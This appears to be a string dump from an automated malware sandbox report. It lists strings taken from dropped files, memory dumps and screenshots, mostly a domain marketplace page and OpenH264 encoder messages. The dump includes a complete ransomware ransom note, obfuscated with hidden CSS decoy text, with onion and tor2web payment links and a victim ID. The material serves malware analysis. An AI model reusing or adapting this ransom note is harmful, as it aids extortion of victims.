(max-width: 767px) {.table-responsive {margin-bottom: 0;border: 1px solid #ddd;}}</style><script>// Process search / refining$( document ).ready(function() {// Process filter submit$( "button#filter_submit" ).on('click', function(item) {var form_inputs = $('#filter-form :input');var form_values = {};form_inputs.each(function() {form_values[this.name] = $(this).val();});// Convert js object towards URL paramaterform_values_for_url = JSON.stringify(form_values);// OLD STYLE PAGING//Odf.ajax.get('http://www.nameboat.com/ajax/market_themes/domain_overview_tiles/filters/'+form_values_for_url+'/user_id/1293/offset/10/keyword//', '#domain_list_body', { });$.get( 'http://www.nameboat.com/ajax/market_themes/domain_overview_tiles/filters/'+form_values_for_url+'/user_id/1293/offset/init/keyword//', function( data ) { $("#domain_list_body").empty(); $( data ).appendTo( "#domain_list_body" ); });});// Initiate first$( "button#filter_submit" ).click();});</script>... Header Section Started --><header><div class="container"><div class="row"><div class="col-md-4 col-sm-4 col-xs-5"><a href="http://www.nameboat.com"><img src="market/uploads/logo/089bdebf4956b0ae8b5ce55e1f2f32ed.png" class="img-responsive"></a></div><div class="col-md-8 col-sm-8 col-xs-7"><ul class="list-inline call-us text-right"><li class="call-tx hidden-xs"> <img src="market/img/efty_market_themes/borgen/1.png"><span>Call us </span> and we'll help you secure the <br>perfect domain name for your business.</li><li class="number"> (267) 231-6540</li></ul></div></div></div></header>... Header Collapsed --><section class="search_result" style="background:url(../../../market/img/efty_market_themes/background/large/12.jpg) center center no-repeat"><div class="container"><div class="row"><div class="col-md-3 search-tx"><h1> </h1></div><div class="col-md-7"><form action="/search/" method="get"><div class="form-group"><input type="text" class="form-control" placeholder="Domain or keyword" aria-describedby="basic-addon2" name="keyword" value=""><button type="submit" class="btn btn_search"><i class="fa fa-search" aria-hidden="true"></i> Search</button></div></form></div></div></div></section><section class="search_body"><div class=""><div class="container"><div class="row"><div class="col-md-3"><div class="search_left space40"><form id="filter-form" method="post"><input type="hidden" name="portfolio_price_min" value="0.00"><input type="hidden" name="portfolio_price_max" value="1888.00"><h3 class="main_title">Filters</h3><div class="border_bottom"></div><div class="clearfix"></div><div class="col-sm-12 col-xs-12 text-center"><h4 class="cate_title">Extension</h4><select class="form-control" name="form-extensions" onchange="$('button#filter_submit').click();"><option value="all">All</option><option value="com">.com</option><option value="net">.net</option><option value="org">.org</option></select></div><div class="clearfix"></div><div class="border_bottom"></div><div class="col-sm-12 col-xs-12 text-center"><h4 class="cate_title">Categories</h4><select class="form-control" name="form-categories" onchange="$('button#filter_submit').click();"><option value="all">All</option><option value="Real Estate">Real Estate</option><option value="Society">Society</option><option value="Shopping">Shopping</option><option value="Recreation & Travel">Recreation & Travel</option><option value="Career & Education">Career & Education</option><option value="Entertainment">Entertainment</option><option value="Business">Business</option><option value="Finance">Finance</option><option value="Arts">Arts</option><option value="Other">Other</option><option value="Computers & Technology">Computers & Technology</option><option value="Home & Garden" selected="selected">Home & Garden</option><option value="Brandable">Brandable</option><option value="Health">Health</option><option value="Short domains">Short domains</option></select></div><div class="clearfix"></div><div class="border_bottom"></div><div class="col-sm-12 col-xs-12 text-center"><h4 class="cate_title">Age</h4><div id="nouislider_age"></div><div><input name="age_val_min" type="text" id="age_val_min" class="slide_tip_min"><input name="age_val_max" type="text" id="age_val_max" class="slide_tip_max"></div></div><script>// Initialize slidervar slider_age = document.getElementById('nouislider_age');noUiSlider.create(slider_age, {start: [ 1, 21 ],snap: false,connect: true,range: {'min': 1,'max': 21},format: wNumb({decimals: 0}),});// Displaying the valuesvar age_values = [document.getElementById('age_val_min'),document.getElementById('age_val_max')];slider_age.noUiSlider.on('update', function( values, handle ) {age_values[handle].value = values[handle];});slider_age.noUiSlider.on('change', function( values, handle ) {$('button#filter_submit').click();});</script><div class="clearfix"></div><div class="border_bottom"></div><div class="col-sm-12 col-xs-12 text-center"><h4 class="cate_title">Length</h4><div id="nouislider_length"></div><div><input name="length_val_min" type="text" id="length_val_min" class="slide_tip_min"><input name="length_val_max" type="text" id="length_val_max" class="slide_tip_max"></div></div><script>// Initialize slidervar slider_length = document.getElementById('nouislider_length');noUiSlider.create(slider_length, {start: [ 4, 16 ],snap: false,connect: true,range: {'min': 4,'max': 16},format: wNumb({decimals: 0})});// Displaying the valuesvar length_values = [document.getElementById('length_val_min'),document.getElementById('length_val_max')];slider_length.noUiSlider.on('update', function( values, handle ) {length_values[handle].value = values[handle];});slider_length.noUiSlider.on('change', function( values, handle ) {$('button#filter_submit').click();});</script><div class="clearfix"></div><div class="border_bottom"></div><div class="col-sm-12 col-xs-12 text-center"><h4 class="cate_title">Price</h4><div id="nouislider_price"></div><div><input name="price_val_min" type="text" id="price_val_min" class="slide_tip_min"><input name="price_val_max" type="text" id="price_val_max" class="slide_tip_max"></div></div><script>// Initialize slidervar slider_price = document.getElementById('nouislider_price');noUiSlider.create(slider_price, {start: [ 0.00, 1888.00 ],snap: false,connect: true,range: {'min': 0.00,'max': 1888.00},format: wNumb({decimals: 0})});// Displaying the valuesvar price_values = [document.getElementById('price_val_min'),document.getElementById('price_val_max')];slider_price.noUiSlider.on('update', function( values, handle ) {price_values[handle].value = values[handle];});slider_price.noUiSlider.on('change', function( values, handle ) {$('button#filter_submit').click();});</script><div class="clearfix"></div><div class="border_bottom"></div><div class="text-center"><button type="button" class="btn btn_search" id="filter_submit"><i class="fa fa-search" aria-hidden="true"></i> search</button></div><div class="clearfix"></div></form></div></div><div class="col-md-9"><div class="result_main_box"><h3 class="main_title crummer"><a href="http://www.nameboat.com" title="www.nameboat.com">www.nameboat.com</a> > Domain overview</h3><div id="domain_list_body"></div></div></div></div><div class="row space70"></div></div></div></section><footer><div class="container"><div class="row"><div class="col-md-4"><ul class="list-inline social"><li><a href="https://www.facebook.com/NameBoat-1778675352414159/" target="_blank"><i class="fa fa-facebook" aria-hidden="true"></i></a></li><li><a href="skype://NameBoatDomains"><i class="fa fa-skype" aria-hidden="true"></i></a></li></ul></div><div class="col-md-4 text-center number"><h4>(267) 231-6540</h4><ul class="list-inline"><li><a href="http://www.nameboat.com" title="www.nameboat.com" class="text-blue" target="_blank">www.nameboat.com</a></li><li>|</li><li><a href="mailto:info@nameboat.com" class="text-blue">info@nameboat.com</a></li></ul></div><div class="col-md-4 text-center text-right"><a href="http://www.efty.com/" title="Software for domainers" class="pull-right" target="_blank"><img src="market/img/efty_market_themes/borgen/jchMoR6.png"></a></div><div class="col-md-12 text-center"><a href="/profile/sitemap/" title="Sitemap">Sitemap</a></div></div></div></footer></body></html>

Ansi based on Dropped File (home-&-garden)

<))))???????????

Unicode based on Dropped File (gmpopenh264.dll.97104820)

<.lnk

Unicode based on Runtime Data (helper.exe )

<.pbk

Unicode based on Runtime Data (eXe )

</body>

Ansi based on Dropped File (home-&-garden)

</div>

Ansi based on Dropped File (home-&-garden)

</footer>

Ansi based on Dropped File (home-&-garden)

</form>

Ansi based on Dropped File (home-&-garden)

</head>

Ansi based on Dropped File (home-&-garden)

</header>

Ansi based on Dropped File (home-&-garden)

</html>

Ansi based on Dropped File (home-&-garden)

</li>

Ansi based on Dropped File (home-&-garden)

</script>

Ansi based on Dropped File (home-&-garden)

</section>

Ansi based on Dropped File (home-&-garden)

</select>

Ansi based on Dropped File (home-&-garden)

</style>

Ansi based on Dropped File (home-&-garden)

</ul>

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

<body>

Ansi based on Dropped File (home-&-garden)

<button type="button" class="btn btn_search" id="filter_submit"><i class="fa fa-search" aria-hidden="true"></i> search</button>

Ansi based on Dropped File (home-&-garden)

<button type="submit" class="btn btn_search"><i class="fa fa-search" aria-hidden="true"></i> Search</button>

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

<div>

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

<h3 class="main_title crummer"><a href="http://www.nameboat.com" title="www.nameboat.com">www.nameboat.com</a> > Domain overview</h3>

Ansi based on Dropped File (home-&-garden)

<h3 class="main_title">Filters</h3>

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

<h4 class="cate_title">Categories</h4>

Ansi based on Dropped File (home-&-garden)

<h4 class="cate_title">Extension</h4>

Ansi based on Dropped File (home-&-garden)

<h4 class="cate_title">Length</h4>

Ansi based on Dropped File (home-&-garden)

<h4 class="cate_title">Price</h4>

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

<head>

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

<html>

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (_28_HOWDO_text.html)

<html><meta charset='utf-8'><meta name='Description' content='bmqaxdqjzq mzheg.'><meta name='Keywords' content='qgywsv,xegoijyg,hcwepklpwx'><style>.koeyrzco {color: #f9f9f9;left : -538px;position : absolute;}body{background-color:#f9f9f9;}.gezxk{color:#f9f9f9}</style><body class='iinyiuk' id='rkfbwjp'><span class='gezxk'> </span>*-+==$_-$+<span class='gezxk'>e</span>.**|<span class='gezxk'>b</span><div class=koeyrzco>sgzke</div>**<br />=+*+*+__<br />.=-<span class='gezxk'>e</span><div class=koeyrzco>slpswugdy</div>$*_*..<br />.$==.*_<span class='gezxk'> </span>|<span class='gezxk'> </span>$-<br /><span class='gezxk'>a</span><div class=koeyrzco>jjxpif</div><span class='gezxk'>a</span><span class='gezxk'> </span><div class=koeyrzco>vkhpto</div><span class='gezxk'>d</span><span class='gezxk'> </span><font id='xhboivxyi' data-icrhf='mvcwdwyvjk'><div class=koeyrzco>gllxpwr</div><span class='gezxk'>a</span><span class='gezxk'> </span><div class=koeyrzco>ctldex</div><span class='gezxk'> </span><div class=koeyrzco>sckvi</div><span class='gezxk'>b</span><font><div class=koeyrzco>urkaivitvwp</div><span class='gezxk'> </span><font><div class=koeyrzco>zrujmz</div><span class='gezxk'>a</span><span class='gezxk'>b</span><div class=koeyrzco>wxzkaz</div>!!!<span class='gezxk'> </span><div class=koeyrzco>zxdhzkky</div>IMPORTANT<span class='gezxk'> </span>INFORMATION<span class='gezxk'>a</span><font><div class=koeyrzco>pjotuhlua</div>!!!!<br /><br />All<span class='gezxk'>d</span><div class=koeyrzco>spmtqswylk</div>of<span class='gezxk'>a</span>your<span class='gezxk'>d</span><div class=koeyrzco>ufrumuph</div>files<span class='gezxk'> </span><font><div class=koeyrzco>acbly</div>are<span class='gezxk'>b</span><font class='dtcgsyi' data-hradoirtnjwp='hllugta'><div class=koeyrzco>ychddce</div>encrypted<span class='gezxk'>c</span>with<span class='gezxk'> </span>RSA-2048<span class='gezxk'>b</span><div class=koeyrzco>zcbgwufkm</div>and<span class='gezxk'> </span><div class=koeyrzco>skekuizk</div>AES-128<span class='gezxk'> </span><div class=koeyrzco>cpgwbai</div>ciphers.<br />More<span class='gezxk'>d</span><div class=koeyrzco>uzgdbeevbirjn</div>information<span class='gezxk'> </span><div class=koeyrzco>btfjgshsx</div>about<span class='gezxk'>d</span>the<span class='gezxk'>b</span><div class=koeyrzco>ylkgvgqsuiv</div>RSA<span class='gezxk'> </span>and<span class='gezxk'>d</span>AES<span class='gezxk'>c</span><div class=koeyrzco>eolzwealzqjc</div>can<span class='gezxk'>b</span><font class='rqxodh' data-gnowmvn='bbqqy'><div class=koeyrzco>ysmzhmqhla</div>be<span class='gezxk'> </span>found<span class='gezxk'> </span>here:<br /><span class='gezxk'> </span><div class=koeyrzco>nwluqs</div><span class='gezxk'> </span><div class=koeyrzco>uunjxmb</div><span class='gezxk'> </span><div class=koeyrzco>hqrldyvdn</div><span class='gezxk'>c</span><a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br /><span class='gezxk'> </span><font class='ejtdkjhxyb' id='eqpcylzcxclw' data-htasz='ooktrbok'><div class=koeyrzco>yzbziip</div><span class='gezxk'>d</span><div class=koeyrzco>xszfw</div><span class='gezxk'> </span><span class='gezxk'> </span><div class=koeyrzco>hwfoaiow</div><a href="http://en.wikipedia.org/wiki/Advanced_Encryption_Standard" target="_blank">http://en.wikipedia.org/wiki/Advanced_Encryption_Standard</a><br /><span class='gezxk'>b</span><div class=koeyrzco>xbqonqgs</div><span class='gezxk'>a</span><font><div class=koeyrzco>mcsykqrz</div><span class='gezxk'> </span><span class='gezxk'> </span><div class=koeyrzco>uogtoskwaf</div><br />Decrypting<span class='gezxk'>a</span><div class=koeyrzco>nopnsbl</div>of<span class='gezxk'> </span><div class=koeyrzco>ymagpylbso</div>your<span class='gezxk'> </span><div class=koeyrzco>awxkfn</div>files<span class='gezxk'> </span>is<span class='gezxk'> </span>only<span class='gezxk'>a</span>possible<span class='gezxk'>b</span><div class=koeyrzco>qukdbcw</div>with<span class='gezxk'> </span><font>the<span class='gezxk'> </span>private<span class='gezxk'> </span><div class=koeyrzco>oacyd</div>key<span class='gezxk'> </span><font><div class=koeyrzco>kypwerab</div>and<span class='gezxk'>d</span>decrypt<span class='gezxk'> </span>program,<span class='gezxk'>a</span><div class=koeyrzco>aejthqqkt</div>which<span class='gezxk'> </span>is<span class='gezxk'> </span>on<span class='gezxk'> </span><div class=koeyrzco>beifnsrmf</div>our<span class='gezxk'>d</span>secret<span class='gezxk'> </span><font class='uauoopvq' data-hruelwgm='emyhwjo'>server.<br />To<span class='gezxk'> </span><div class=koeyrzco>nutoyfuenmw</div>receive<span class='gezxk'> </span>your<span class='gezxk'>a</span>private<span class='gezxk'> </span><div class=koeyrzco>oxbeess</div>key<span class='gezxk'> </span><div class=koeyrzco>qrhtmldj</div>follow<span class='gezxk'>e</span><div class=koeyrzco>eliyrc</div>one<span class='gezxk'> </span>of<span class='gezxk'> </span><font><div class=koeyrzco>zngruwbia</div>the<span class='gezxk'> </span>links:<br /><span class='gezxk'> </span><span class='gezxk'> </span><div class=koeyrzco>ikrycxse</div><span class='gezxk'> </span><div class=koeyrzco>ermvsyusfk</div><span class='gezxk'> </span>1.<span class='gezxk'>d</span><a href="http://jhomitevd2abj3fk.tor2web.org/5DYGW9JJXIPQSEFB" target="_blank">http://jhomitevd2abj3fk.tor2web.org/5DYGW9JJXIPQSEFB</a><br /><span class='gezxk'>c</span><span class='gezxk'> </span><span class='gezxk'> </span><div class=koeyrzco>bqupbvu</div><span class='gezxk'> </span>2.<span class='gezxk'>b</span><div class=koeyrzco>bgcwrz</div><a href="http://jhomitevd2abj3fk.onion.to/5DYGW9JJXIPQSEFB" target="_blank">http://jhomitevd2abj3fk.onion.to/5DYGW9JJXIPQSEFB</a><br /><br />If<span class='gezxk'> </span><div class=koeyrzco>gjjsogjhzs</div>all<span class='gezxk'> </span><div class=koeyrzco>ekdovyfhtw</div>of<span class='gezxk'>c</span><div class=koeyrzco>rdjgoo</div>this<span class='gezxk'>a</span>addresses<span class='gezxk'>d</span>are<span class='gezxk'> </span><div class=koeyrzco>ufwwyjrgh</div>not<span class='gezxk'>c</span><div class=koeyrzco>qfxzojm</div>available,<span class='gezxk'> </span><div class=koeyrzco>vwfvrlf</div>follow<span class='gezxk'> </span><div class=koeyrzco>gerjm</div>these<span class='gezxk'> </span><font><div class=koeyrzco>rrrxw</div>steps:<br /><span class='gezxk'>a</span><span class='gezxk'>c</span><div class=koeyrzco>oyqvtozbyq</div><span class='gezxk'> </span><span class='gezxk'> </span>1.<span class='gezxk'> </span><font>Download<span class='gezxk'> </span><div class=koeyrzco>jlushap</div>and<span class='gezxk'> </span><div class=koeyrzco>yzoswoe</div>install<span class='gezxk'>d</span>Tor<span class='gezxk'> </span>Browser: <a href="https://www.torproject.org/download/download-easy.html" target="_blank">https://www.torproject.org/download/download-easy.html</a><br /><span class='gezxk'>d</span><span class='gezxk'> </span><span class='gezxk'> </span><div class=koeyrzco>kvtchxm</div><span class='gezxk'> </span>2.<span class='gezxk'> </span>After<span class='gezxk'>b</span><font class='dhgtczfks' id='nsvrnvaij' data-caducs='qkbwpgs'>a<span class='gezxk'> </span><div class=koeyrzco>pvhrtd</div>successful<span class='gezxk'>a</span>installation,<span class='gezxk'> </span>run<span class='gezxk'> </span>the<span class='gezxk'> </span>browser<span class='gezxk'> </span>and<span class='gezxk'>c</span>wait<span class='gezxk'>e</span>for<span class='gezxk'> </span>initialization.<br /><span class='gezxk'>d</span><div class=koeyrzco>iceat</div><span class='gezxk'> </span><div class=koeyrzco>vwvsdajcp</div><span class='gezxk'> </span><div class=koeyrzco>ackncxig</div><span class='gezxk'> </span><div class=koeyrzco>jzgpxoxgjm</div>3.<span class='gezxk'>e</span><div class=koeyrzco>euwzsjrrgcjk</div>Type<span class='gezxk'> </span><div class=koeyrzco>mheiiv</div>in<span class='gezxk'> </span>the<span class='gezxk'> </span><div class=koeyrzco>dmixux</div>address<span class='gezxk'>a</span><div class=koeyrzco>wccoog</div>bar: jhomitevd2abj3fk.onion/5DYGW9JJXIPQSEFB<br /><span class='gezxk'>d</span><font class='jmdgoci' data-vqikeebh='rrrcbhotkmh'><span class='gezxk'> </span><div class=koeyrzco>efibji</div><span class='gezxk'> </span><font data-misyand='ontsnplm'><div class=koeyrzco>tgtznk</div><span class='gezxk'>e</span><div class=koeyrzco>hgrnjeypoq</div>4.<span class='gezxk'> </span>Follow<span class='gezxk'>d</span>the<span class='gezxk'>d</span>instructions<span class='gezxk'>c</span>on<span class='gezxk'>e</span>the<span class='gezxk'>c</span><div class=koeyrzco>orxhrhp</div>site.<br /><br />!!!<span class='gezxk'> </span><div class=koeyrzco>lgnbdyqx</div>Your<span class='gezxk'>e</span><div class=koeyrzco>cajwnhwh</div>personal<span class='gezxk'>a</span><font><div class=koeyrzco>vdjeusr</div>identification<span class='gezxk'> </span><div class=koeyrzco>xiijqtowht</div>ID: 5DYGW9JJXIPQSEFB !!!<br />=*<span class='gezxk'> </span><div class=koeyrzco>azckmgtw</div>==*.-$=-|=-*$==$<br />==$_*._$+<span class='gezxk'>a</span><div class=koeyrzco>ayhdartrky</div><br />$|_|$=..+|-||=<br />+.=*$|.<br /></body></html>

Ansi based on Dropped File (_28_HOWDO_text.html)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

<jdoc:comment></jdoc:comment><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="{LANG_TAG}" lang="{LANG_TAG}" dir="{LANG_DIR}" ><head>

Ansi based on Runtime Data (eXe )

<li class="call-tx hidden-xs"> <img src="market/img/efty_market_themes/borgen/1.png"><span>Call us </span> and we'll help you secure the <br>

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

<li><a href="http://www.nameboat.com" title="www.nameboat.com" class="text-blue" target="_blank">www.nameboat.com</a></li>

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

<li><a href="mailto:info@nameboat.com" class="text-blue">info@nameboat.com</a></li>

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (_28_HOWDO_text.html)

Ansi based on Dropped File (_28_HOWDO_text.html)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

<option value="Brandable">Brandable</option>

Ansi based on Dropped File (home-&-garden)

<option value="Business">Business</option>

Ansi based on Dropped File (home-&-garden)

<option value="Career & Education">Career & Education</option>

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

<option value="Computers & Technology">Computers & Technology</option>

Ansi based on Dropped File (home-&-garden)

<option value="Entertainment">Entertainment</option>

Ansi based on Dropped File (home-&-garden)

<option value="Finance">Finance</option>

Ansi based on Dropped File (home-&-garden)

<option value="Health">Health</option>

Ansi based on Dropped File (home-&-garden)

<option value="Home & Garden" selected="selected">Home & Garden</option>

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

<option value="Other">Other</option>

Ansi based on Dropped File (home-&-garden)

<option value="Real Estate">Real Estate</option>

Ansi based on Dropped File (home-&-garden)

<option value="Recreation & Travel">Recreation & Travel</option>

Ansi based on Dropped File (home-&-garden)

<option value="Shopping">Shopping</option>

Ansi based on Dropped File (home-&-garden)

<option value="Short domains">Short domains</option>

Ansi based on Dropped File (home-&-garden)

<option value="Society">Society</option>

Ansi based on Dropped File (home-&-garden)

Unicode based on Dropped File (gmpopenh264.dll.97104820)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

<style>

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (_28_HOWDO_text.html)

<title>Welcome to NameBoat | www.nameboat.com</title>

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

Ansi based on Dropped File (home-&-garden)

<X?z?

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.0048A000.00000002.mdmp)

>+?1?Q?

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.0048A000.00000002.mdmp)

>@WelsEncoderParamAdjust(), GetMultipleThreadIdc failed return %d.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

>Gout_InteractiveW

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.0048A000.00000002.mdmp)

>WelsEncoderApplyBitVaryRang:UpdateMaxBitrate layerId= %d,iMaxSpatialBitrate = %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

?4j<=

Ansi based on Dropped File (gmpopenh264.dll.97104820)

??2@YAPAXI@Z

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

??3@YAXPAX@Z

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

?___?_

Ansi based on Image Processing (screen_0.png)

?C;0=

Ansi based on Dropped File (gmpopenh264.dll.97104820)

?Dj0Q:W$=

Ansi based on Dropped File (gmpopenh264.dll.97104820)

?iVaaFrameSceneChangeIdc = %d,codingIdx = %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

?OpenH264 version:1.3.0.0

Ansi based on Dropped File (gmpopenh264.dll.97104820)

?SetMeMethod(BLOCK_8x8) ME_DIA_CROSS_FME unsuccessful, switched to default search

Ansi based on Dropped File (gmpopenh264.dll.97104820)

?UnnamedWd

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.0048A000.00000002.mdmp)

?V____?___

Ansi based on Image Processing (screen_2.png)

@"%windir%\System32\ie4uinit.exe",-732

Unicode based on Runtime Data (helper.exe )

@.data

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00409000.00000004.mdmp)

@.reloc

Ansi based on Dropped File (gmpopenh264.dll.97104820)

@@@`777-

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.0043D000.00000002.mdmp)

@@DDDDDDDDDD@@@@@@D

Ansi based on Runtime Data (eXe )

@[Rc] bits in buffer = %d, bits in Max bitrate buffer = %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

@CWelsH264SVCEncoder::GetOption():ENCODER_OPTION_MAX_BITRATE,, layerId =%d,iBitrate = %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

@font-face{font-family:"icon-osn";src:url("http://www.osn.com/app_themes/osn/fonts/icon-osn.eot");src:url("http://www.osn.com/app_themes/osn/fonts/icon-osn.eot?#iefix") format("embedded-opentype"),url("http://www.osn.com/app_themes/osn/fonts/icon-osn.woff") fo

Ansi based on Runtime Data (eXe )

@media screen and (max-width: 767px) {

Ansi based on Dropped File (home-&-garden)

[+|-]

Unicode based on Hybrid Analysis (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

[.ShellClassInfo]UICLSID={7BD29E00-76C1-11CF-9DD0-00A0C9034933}

Ansi based on Runtime Data (eXe )

[MT] CodingSliceThreadProc(), waiting pReadySliceCodingEvent[%d] failed(%d) and thread%d terminated!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

[MT] DynamicAdjustSlicing(), invalid iNumMbInEachGom= %d from RC, iDid= %d, iCountNumMb= %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

[MT] WelsEncoderEncodeExt(), FiredSliceThreads return(%d) failed and exit encoding frame, iCountThreadsNum= %d, iSliceCount= %d, uiSliceMode= %d, iMultipleThreadIdc= %d!!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

[OpenH264] this = 0x%p, Debug:

Ansi based on Dropped File (gmpopenh264.dll.97104820)

[OpenH264] this = 0x%p, Detail:

Ansi based on Dropped File (gmpopenh264.dll.97104820)

[OpenH264] this = 0x%p, Error:

Ansi based on Dropped File (gmpopenh264.dll.97104820)

[OpenH264] this = 0x%p, Info:

Ansi based on Dropped File (gmpopenh264.dll.97104820)

[OpenH264] this = 0x%p, Warning:

Ansi based on Dropped File (gmpopenh264.dll.97104820)

[Rc] bits in buffer = %d, bits in Max bitrate buffer = %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

[Rc] bits in buffer = %d, bits in Max bitrate buffer = %d, Predict skip frames = %d and %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

[Rc] Frame timestamp = %lld, Frame type =%d, dependency ID = %d, encoding_qp =%d, average qp = %3d, max qp = %3d, min qp = %3d, index = %8d, iTid = %1d, used = %8d, bitsperframe = %8d, target = %8d, remaingbits = %8d, skipbuffersize = %8d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

[Rc] Frame timestamp = %lld, skip one frame, continual skipped %d frames

Ansi based on Dropped File (gmpopenh264.dll.97104820)

[Rename]

Ansi based on Hybrid Analysis (eXe , 00020376-00002708.00000000.20876.00401000.00000020.mdmp)

[SetRates] Begin with:

Ansi based on Dropped File (gmpopenh264.dll.97104820)

[SetRates] Error in Getting Bit Rate at Layer:

Ansi based on Dropped File (gmpopenh264.dll.97104820)

[SetRates] Error in Getting Frame Rate:

Ansi based on Dropped File (gmpopenh264.dll.97104820)

[SetRates] Error in Setting Bit Rate at Layer:

Ansi based on Dropped File (gmpopenh264.dll.97104820)

[SetRates] Error in Setting Frame Rate: ReturnValue:

Ansi based on Dropped File (gmpopenh264.dll.97104820)

[SetRates] Update Encoder Bandwidth (AllLayers): ReturnValue:

Ansi based on Dropped File (gmpopenh264.dll.97104820)

[SetRates] Update Encoder Frame Rate: ReturnValue:

Ansi based on Dropped File (gmpopenh264.dll.97104820)

\Microsoft\Internet Explorer\Quick Launch

Unicode based on Hybrid Analysis (eXe , 00020376-00002708.00000000.20876.00401000.00000020.mdmp)

\ScriptEngine

Unicode based on Hybrid Analysis (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

\Sessions\1\Windows\ApiPort

Unicode based on Runtime Data (wscript.exe )

\Temp

Unicode based on Hybrid Analysis (eXe , 00020376-00002708.00000000.20876.00401000.00000020.mdmp)

\ThemeApiPort

Unicode based on Runtime Data (wscript.exe )

\UPw9LUa\AppData\Local\Temp\nsa2FE8.tmp\System.dll

Unicode based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00424000.00000004.mdmp)

_'"i___^_i'P0'

Ansi based on Image Processing (screen_4.png)

_(Yvo76]

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00409000.00000004.mdmp)

_,00000000_00000_

Ansi based on Image Processing (screen_2.png)

_,_,_,

Ansi based on Image Processing (screen_2.png)

